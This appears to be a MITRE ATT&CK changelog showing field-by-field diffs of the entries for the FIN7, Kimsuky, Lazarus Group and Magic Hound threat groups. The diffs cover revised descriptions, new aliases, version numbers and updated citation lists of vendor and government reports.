| > | 5. They often use point-of-sale malware. A portion of [FIN7] | > | ty sectors, often using point-of-sale malware. A portion of | ||
| > | (https://attack.mitre.org/groups/G0046) was run out of a fro | > | [FIN7](https://attack.mitre.org/groups/G0046) was run out of | ||
| > | nt company called Combi Security. [FIN7](https://attack.mitr | > | a front company called Combi Security. Since 2020 [FIN7](ht | ||
| > | e.org/groups/G0046) is sometimes referred to as [Carbanak](h | > | tps://attack.mitre.org/groups/G0046) shifted operations to a | ||
| > | ttps://attack.mitre.org/groups/G0008) Group, but these appea | > | big game hunting (BGH) approach including use of [REvil](ht | ||
| > | r to be two groups using the same [Carbanak](https://attack. | > | tps://attack.mitre.org/software/S0496) ransomware and their | ||
| > | mitre.org/software/S0030) malware and are therefore tracked | > | own Ransomware as a Service (RaaS), Darkside. [FIN7](https:/ | ||
| > | separately. (Citation: FireEye FIN7 March 2017) (Citation: F | > | /attack.mitre.org/groups/G0046) may be linked to the [Carban | ||
| > | ireEye FIN7 April 2017) (Citation: FireEye CARBANAK June 201 | > | ak](https://attack.mitre.org/groups/G0008) Group, but there | ||
| > | 7) (Citation: FireEye FIN7 Aug 2018) | > | appears to be several groups using [Carbanak](https://attack | ||
| > | .mitre.org/software/S0030) malware and are therefore tracked | ||||
| > | separately.(Citation: FireEye FIN7 March 2017)(Citation: Fi | ||||
| > | reEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017) | ||||
| > | (Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carb | ||||
| > | on Spider August 2021) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Edward Millington'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html | |
| external_references | https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html | |
| external_references | https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:47:28.215000+00:00 | 2022-02-02 21:32:06.214000+00:00 |
| description | [FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has primarily targeted the U.S. retail, restaurant, and hospitality sectors since mid-2015. They often use point-of-sale malware. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security. [FIN7](https://attack.mitre.org/groups/G0046) is sometimes referred to as [Carbanak](https://attack.mitre.org/groups/G0008) Group, but these appear to be two groups using the same [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately. (Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017) (Citation: FireEye CARBANAK June 2017) (Citation: FireEye FIN7 Aug 2018) | [FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has been active since 2013 primarily targeting the U.S. retail, restaurant, and hospitality sectors, often using point-of-sale malware. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security. Since 2020 [FIN7](https://attack.mitre.org/groups/G0046) shifted operations to a big game hunting (BGH) approach including use of [REvil](https://attack.mitre.org/software/S0496) ransomware and their own Ransomware as a Service (RaaS), Darkside. [FIN7](https://attack.mitre.org/groups/G0046) may be linked to the [Carbanak](https://attack.mitre.org/groups/G0008) Group, but there appears to be several groups using [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately.(Citation: FireEye FIN7 March 2017)(Citation: FireEye FIN7 April 2017)(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021) |
| external_references[2]['source_name'] | FireEye FIN7 March 2017 | GOLD NIAGARA |
| external_references[2]['description'] | Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017. | (Citation: Secureworks GOLD NIAGARA Threat Profile) |
| external_references[3]['source_name'] | FireEye FIN7 April 2017 | ITG14 |
| external_references[3]['description'] | Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017. | ITG14 shares campaign overlap with [FIN7](https://attack.mitre.org/groups/G0046).(Citation: IBM Ransomware Trends September 2020) |
| external_references[4]['source_name'] | FireEye CARBANAK June 2017 | Carbon Spider |
| external_references[4]['description'] | Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018. | (Citation: CrowdStrike Carbon Spider August 2021) |
| external_references[5]['source_name'] | FireEye FIN7 Aug 2018 | FireEye FIN7 March 2017 |
| external_references[5]['description'] | Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018. | Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017. |
| external_references[5]['url'] | https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html | https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html |
| external_references[6]['source_name'] | Morphisec FIN7 June 2017 | FireEye FIN7 April 2017 |
| external_references[6]['description'] | Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017. | Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017. |
| external_references[6]['url'] | http://blog.morphisec.com/fin7-attacks-restaurant-industry | https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html |
| external_references[7]['source_name'] | FireEye FIN7 Shim Databases | FireEye CARBANAK June 2017 |
| external_references[7]['description'] | Erickson, J., McWhirt, M., Palombo, D. (2017, May 3). To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence. Retrieved July 18, 2017. | Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018. |
| external_references[7]['url'] | https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html | https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html |
| x_mitre_version | 1.5 | 2.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | GOLD NIAGARA | |
| aliases | ITG14 | |
| aliases | Carbon Spider | |
| external_references | {'source_name': 'FireEye FIN7 Aug 2018', 'description': 'Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.', 'url': 'https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html'} | |
| external_references | {'source_name': 'CrowdStrike Carbon Spider August 2021', 'description': 'Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021.', 'url': 'https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/'} | |
| external_references | {'source_name': 'Morphisec FIN7 June 2017', 'description': 'Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017.', 'url': 'http://blog.morphisec.com/fin7-attacks-restaurant-industry'} | |
| external_references | {'source_name': 'FireEye FIN7 Shim Databases', 'description': 'Erickson, J., McWhirt, M., Palombo, D. (2017, May 3). To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence. Retrieved July 18, 2017.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html'} | |
| external_references | {'source_name': 'Secureworks GOLD NIAGARA Threat Profile', 'description': 'CTU. (n.d.). GOLD NIAGARA. Retrieved September 21, 2021.', 'url': 'https://www.secureworks.com/research/threat-profiles/gold-niagara'} | |
| external_references | {'source_name': 'IBM Ransomware Trends September 2020', 'description': 'Singleton, C. and Kiefer, C. (2020, September 28). Ransomware 2020: Attack Trends Affecting Organizations Worldwide. Retrieved September 20, 2021.', 'url': 'https://securityintelligence.com/posts/ransomware-2020-attack-trends-new-techniques-affecting-organizations-worldwide/'} |
Current version: 3.1
Version changed from: 1.1 → 3.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Kimsuky](https://attack.mitre.org/groups/G0094) is a North | t | 1 | [Kimsuky](https://attack.mitre.org/groups/G0094) is a North |
| > | Korean-based threat group that has been active since at leas | > | Korea-based cyber espionage group that has been active since | ||
| > | t September 2013. The group focuses on targeting Korean thin | > | at least 2012. The group initially focused on targeting Sou | ||
| > | k tank as well as DPRK/nuclear-related targets. The group wa | > | th Korean government entities, think tanks, and individuals | ||
| > | s attributed as the actor behind the Korea Hydro & Nuclear P | > | identified as experts in various fields, and expanded its op | ||
| > | ower Co. compromise.(Citation: EST Kimsuky April 2019)(Citat | > | erations to include the United States, Russia, Europe, and t | ||
| > | ion: BRI Kimsuky April 2019) | > | he UN. [Kimsuky](https://attack.mitre.org/groups/G0094) has | ||
| > | focused its intelligence collection activities on foreign po | ||||
| > | licy and national security issues related to the Korean peni | ||||
| > | nsula, nuclear policy, and sanctions.(Citation: EST Kimsuky | ||||
| > | April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybe | ||||
| > | reason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky | ||||
| > | June 2021)(Citation: CISA AA20-301A Kimsuky) [Kimsuky](htt | ||||
| > | ps://attack.mitre.org/groups/G0094) was assessed to be respo | ||||
| > | nsible for the 2014 Korea Hydro & Nuclear Power Co. compromi | ||||
| > | se; other notable campaigns include Operation STOLEN PENCIL | ||||
| > | (2018), Operation Kabar Cobra (2019), and Operation Smoke Sc | ||||
| > | reen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Cita | ||||
| > | tion: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab K | ||||
| > | imsuky Kabar Cobra Feb 2019) North Korean group definitions | ||||
| > | are known to have significant overlap, and some security re | ||||
| > | searchers report all North Korean state-sponsored cyber acti | ||||
| > | vity under the name [Lazarus Group](https://attack.mitre.org | ||||
| > | /groups/G0032) instead of tracking clusters or subgroups. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Taewoo Lee, KISA', 'Dongwook Kim, KISA'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://blog.alyac.co.kr/2234 | |
| external_references | https://brica.de/alerts/alert/public/1255063/kimsuky-unveils-apt-campaign-smoke-screen-aimed-at-korea-and-america/ | |
| external_references | https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 02:56:46.530000+00:00 | 2022-05-24 16:28:34.698000+00:00 |
| description | [Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korean-based threat group that has been active since at least September 2013. The group focuses on targeting Korean think tank as well as DPRK/nuclear-related targets. The group was attributed as the actor behind the Korea Hydro & Nuclear Power Co. compromise.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019) | [Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the United States, Russia, Europe, and the UN. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky) [Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019) North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups. |
| external_references[1]['source_name'] | Kimsuky | Thallium |
| external_references[1]['description'] | (Citation: Securelist Kimsuky Sept 2013) | (Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021) |
| external_references[2]['source_name'] | Velvet Chollima | Black Banshee |
| external_references[2]['description'] | (Citation: Zdnet Kimsuky Dec 2018) | (Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021) |
| external_references[3]['source_name'] | EST Kimsuky April 2019 | STOLEN PENCIL |
| external_references[3]['description'] | Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019. | (Citation: Netscout Stolen Pencil Dec 2018) |
| external_references[4]['source_name'] | BRI Kimsuky April 2019 | Kimsuky |
| external_references[4]['description'] | BRI. (2019, April). Kimsuky unveils APT campaign 'Smoke Screen' aimed at Korea and America. Retrieved October 7, 2019. | (Citation: Securelist Kimsuky Sept 2013)(Citation: Malwarebytes Kimsuky June 2021) |
| external_references[5]['source_name'] | Securelist Kimsuky Sept 2013 | Velvet Chollima |
| external_references[5]['description'] | Tarakanov , D.. (2013, September 11). The “Kimsuky” Operation: A North Korean APT?. Retrieved August 13, 2019. | (Citation: Zdnet Kimsuky Dec 2018)(Citation: ThreatConnect Kimsuky September 2020)(Citation: Malwarebytes Kimsuky June 2021) |
| external_references[6]['source_name'] | Zdnet Kimsuky Dec 2018 | AhnLab Kimsuky Kabar Cobra Feb 2019 |
| external_references[6]['description'] | Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019. | AhnLab. (2019, February 28). Operation Kabar Cobra - Tenacious cyber-espionage campaign by Kimsuky Group. Retrieved September 29, 2021. |
| external_references[6]['url'] | https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/ | https://global.ahnlab.com/global/upload/download/techreport/[Analysis_Report]Operation%20Kabar%20Cobra.pdf |
| x_mitre_version | 1.1 | 3.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | STOLEN PENCIL | |
| aliases | Thallium | |
| aliases | Black Banshee | |
| external_references | {'source_name': 'EST Kimsuky April 2019', 'description': 'Alyac. (2019, April 3). Kimsuky Organization Steals Operation Stealth Power. Retrieved August 13, 2019.', 'url': 'https://blog.alyac.co.kr/2234'} | |
| external_references | {'source_name': 'Netscout Stolen Pencil Dec 2018', 'description': 'ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.', 'url': 'https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/'} | |
| external_references | {'source_name': 'BRI Kimsuky April 2019', 'description': "BRI. (2019, April). Kimsuky unveils APT campaign 'Smoke Screen' aimed at Korea and America. Retrieved October 7, 2019.", 'url': 'https://brica.de/alerts/alert/public/1255063/kimsuky-unveils-apt-campaign-smoke-screen-aimed-at-korea-and-america/'} | |
| external_references | {'source_name': 'Zdnet Kimsuky Dec 2018', 'description': 'Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019.', 'url': 'https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/'} | |
| external_references | {'source_name': 'CISA AA20-301A Kimsuky', 'description': 'CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020.', 'url': 'https://us-cert.cisa.gov/ncas/alerts/aa20-301a'} | |
| external_references | {'source_name': 'Cybereason Kimsuky November 2020', 'description': 'Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020.', 'url': 'https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite'} | |
| external_references | {'source_name': 'EST Kimsuky SmokeScreen April 2019', 'description': 'ESTSecurity. (2019, April 17). Analysis of the APT Campaign ‘Smoke Screen’ targeting to Korea and US 출처: https://blog.alyac.co.kr/2243 [이스트시큐리티 알약 블로그]. Retrieved September 29, 2021.', 'url': 'https://blog.alyac.co.kr/attachment/cfile5.uf@99A0CD415CB67E210DCEB3.pdf'} | |
| external_references | {'source_name': 'Malwarebytes Kimsuky June 2021', 'description': 'Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.', 'url': 'https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/'} | |
| external_references | {'source_name': 'Securelist Kimsuky Sept 2013', 'description': 'Tarakanov , D.. (2013, September 11). The “Kimsuky” Operation: A North Korean APT?. Retrieved August 13, 2019.', 'url': 'https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/'} | |
| external_references | {'source_name': 'ThreatConnect Kimsuky September 2020', 'description': 'ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020.', 'url': 'https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/'} |
Current version: 3.0
Version changed from: 1.4 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a | t | 1 | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a |
| > | threat group that has been attributed to the North Korean go | > | North Korean state-sponsored cyber threat group that has bee | ||
| > | vernment.(Citation: US-CERT HIDDEN COBRA June 2017) The grou | > | n attributed to the Reconnaissance General Bureau.(Citation: | ||
| > | p has been active since at least 2009 and was reportedly res | > | US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Ko | ||
| > | ponsible for the November 2014 destructive wiper attack agai | > | rean Cyber Groups September 2019) The group has been active | ||
| > | nst Sony Pictures Entertainment as part of a campaign named | > | since at least 2009 and was reportedly responsible for the N | ||
| > | Operation Blockbuster by Novetta. Malware used by [Lazarus G | > | ovember 2014 destructive wiper attack against Sony Pictures | ||
| > | roup](https://attack.mitre.org/groups/G0032) correlates to o | > | Entertainment as part of a campaign named Operation Blockbus | ||
| > | ther reported campaigns, including Operation Flame, Operatio | > | ter by Novetta. Malware used by [Lazarus Group](https://atta | ||
| > | n 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. | > | ck.mitre.org/groups/G0032) correlates to other reported camp | ||
| > | (Citation: Novetta Blockbuster) In late 2017, [Lazarus Grou | > | aigns, including Operation Flame, Operation 1Mission, Operat | ||
| > | p](https://attack.mitre.org/groups/G0032) used KillDisk, a d | > | ion Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novett | ||
| > | isk-wiping tool, in an attack against an online casino based | > | a Blockbuster) North Korean group definitions are known to | ||
| > | in Central America. (Citation: Lazarus KillDisk) North Kor | > | have significant overlap, and some security researchers repo | ||
| > | ean group definitions are known to have significant overlap, | > | rt all North Korean state-sponsored cyber activity under the | ||
| > | and the name [Lazarus Group](https://attack.mitre.org/group | > | name [Lazarus Group](https://attack.mitre.org/groups/G0032) | ||
| > | s/G0032) is known to encompass a broad range of activity. So | > | instead of tracking clusters or subgroups, such as [Andarie | ||
| > | me organizations use the name Lazarus Group to refer to any | > | l](https://attack.mitre.org/groups/G0138), [APT37](https://a | ||
| > | activity attributed to North Korea.(Citation: US-CERT HIDDEN | > | ttack.mitre.org/groups/G0067), [APT38](https://attack.mitre. | ||
| > | COBRA June 2017) Some organizations track North Korean clus | > | org/groups/G0082), and [Kimsuky](https://attack.mitre.org/gr | ||
| > | ters or groups such as Bluenoroff,(Citation: Kaspersky Lazar | > | oups/G0094). | ||
| > | us Under The Hood Blog 2017) [APT37](https://attack.mitre.or | ||||
| > | g/groups/G0067), and [APT38](https://attack.mitre.org/groups | ||||
| > | /G0082) separately, while other organizations may track some | ||||
| > | activity associated with those group names by the name Laza | ||||
| > | rus Group. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Kyaw Pyiyt Htet, @KyawPyiytHtet', 'Dragos Threat Intelligence'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.us-cert.gov/ncas/analysis-reports/AR19-100A |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-02 16:21:21.624000+00:00 | 2022-05-23 21:20:57.634000+00:00 |
| description | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a threat group that has been attributed to the North Korean government.(Citation: US-CERT HIDDEN COBRA June 2017) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster) In late 2017, [Lazarus Group](https://attack.mitre.org/groups/G0032) used KillDisk, a disk-wiping tool, in an attack against an online casino based in Central America. (Citation: Lazarus KillDisk) North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group. | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster) North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups, such as [Andariel](https://attack.mitre.org/groups/G0138), [APT37](https://attack.mitre.org/groups/G0067), [APT38](https://attack.mitre.org/groups/G0082), and [Kimsuky](https://attack.mitre.org/groups/G0094). |
| external_references[1]['source_name'] | Lazarus Group | Labyrinth Chollima |
| external_references[1]['description'] | (Citation: Novetta Blockbuster) | (Citation: CrowdStrike Labyrinth Chollima Feb 2022) |
| external_references[2]['source_name'] | HIDDEN COBRA | ZINC |
| external_references[2]['description'] | The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: US-CERT HOPLIGHT Apr 2019) | (Citation: Microsoft ZINC disruption Dec 2017) |
| external_references[3]['source_name'] | Guardians of Peace | Lazarus Group |
| external_references[3]['description'] | (Citation: US-CERT HIDDEN COBRA June 2017) | (Citation: Novetta Blockbuster) |
| external_references[4]['source_name'] | ZINC | NICKEL ACADEMY |
| external_references[4]['description'] | (Citation: Microsoft ZINC disruption Dec 2017) | (Citation: Secureworks NICKEL ACADEMY Dec 2017) |
| external_references[5]['source_name'] | NICKEL ACADEMY | Guardians of Peace |
| external_references[5]['description'] | (Citation: Secureworks NICKEL ACADEMY Dec 2017) | (Citation: US-CERT HIDDEN COBRA June 2017) |
| external_references[6]['source_name'] | US-CERT HIDDEN COBRA June 2017 | CrowdStrike Labyrinth Chollima Feb 2022 |
| external_references[6]['description'] | US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA – North Korea’s DDoS Botnet Infrastructure. Retrieved July 13, 2017. | CrowdStrike. (2022, February 1). CrowdStrike Adversary Labyrinth Chollima. Retrieved February 1, 2022. |
| external_references[6]['url'] | https://www.us-cert.gov/ncas/alerts/TA17-164A | https://adversary.crowdstrike.com/en-US/adversary/labyrinth-chollima/ |
| external_references[8]['source_name'] | Lazarus KillDisk | Secureworks NICKEL ACADEMY Dec 2017 |
| external_references[8]['description'] | Kálnai, P., Cherepanov A. (2018, April 03). Lazarus KillDisks Central American casino. Retrieved May 17, 2018. | Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017. |
| external_references[8]['url'] | https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/ | https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing |
| external_references[9]['source_name'] | Kaspersky Lazarus Under The Hood Blog 2017 | Microsoft ZINC disruption Dec 2017 |
| external_references[9]['description'] | GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019. | Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017. |
| external_references[9]['url'] | https://securelist.com/lazarus-under-the-hood/77908/ | https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/ |
| external_references[10]['source_name'] | US-CERT HOPLIGHT Apr 2019 | HIDDEN COBRA |
| external_references[10]['description'] | US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019. | The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: US-CERT HOPLIGHT Apr 2019) |
| external_references[11]['source_name'] | Microsoft ZINC disruption Dec 2017 | Treasury North Korean Cyber Groups September 2019 |
| external_references[11]['description'] | Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017. | US Treasury . (2019, September 13). Treasury Sanctions North Korean State-Sponsored Malicious Cyber Groups. Retrieved September 29, 2021. |
| external_references[11]['url'] | https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/ | https://home.treasury.gov/news/press-releases/sm774 |
| external_references[12]['source_name'] | Secureworks NICKEL ACADEMY Dec 2017 | US-CERT HIDDEN COBRA June 2017 |
| external_references[12]['description'] | Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017. | US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA – North Korea’s DDoS Botnet Infrastructure. Retrieved July 13, 2017. |
| external_references[12]['url'] | https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing | https://www.us-cert.gov/ncas/alerts/TA17-164A |
| x_mitre_version | 1.4 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | Labyrinth Chollima | |
| external_references | {'source_name': 'US-CERT HOPLIGHT Apr 2019', 'description': 'US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.', 'url': 'https://www.us-cert.gov/ncas/analysis-reports/AR19-100A'} |
Current version: 4.1
Version changed from: 2.0 → 4.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Magic Hound](https://attack.mitre.org/groups/G0059) is an I | t | 1 | [Magic Hound](https://attack.mitre.org/groups/G0059) is an I |
| > | ranian-sponsored threat group that conducts long term, resou | > | ranian-sponsored threat group that conducts long term, resou | ||
| > | rce-intensive operations to collect intelligence, dating bac | > | rce-intensive cyber espionage operations, likely on behalf o | ||
| > | k as early as 2014. The group typically targets U.S. and the | > | f the Islamic Revolutionary Guard Corps. They have targeted | ||
| > | Middle Eastern military, as well as other organizations wit | > | U.S. and Middle Eastern government and military personnel, a | ||
| > | h government personnel, via complex social engineering campa | > | cademics, journalists, and organizations such as the World H | ||
| > | igns.(Citation: FireEye APT35 2018) | > | ealth Organization (WHO), via complex social engineering cam | ||
| > | paigns since at least 2014.(Citation: FireEye APT35 2018)(Ci | ||||
| > | tation: ClearSky Kittens Back 3 August 2020)(Citation: Certf | ||||
| > | a Charming Kitten January 2021)(Citation: Secureworks COBALT | ||||
| > | ILLUSION Threat Profile)(Citation: Proofpoint TA453 July202 | ||||
| > | 1) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/ | |
| external_references | https://blogs.microsoft.com/on-the-issues/2020/10/28/cyberattacks-phosphorus-t20-munich-security-conference/ |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-04 23:30:03.871000+00:00 | 2022-04-17 13:09:12.889000+00:00 |
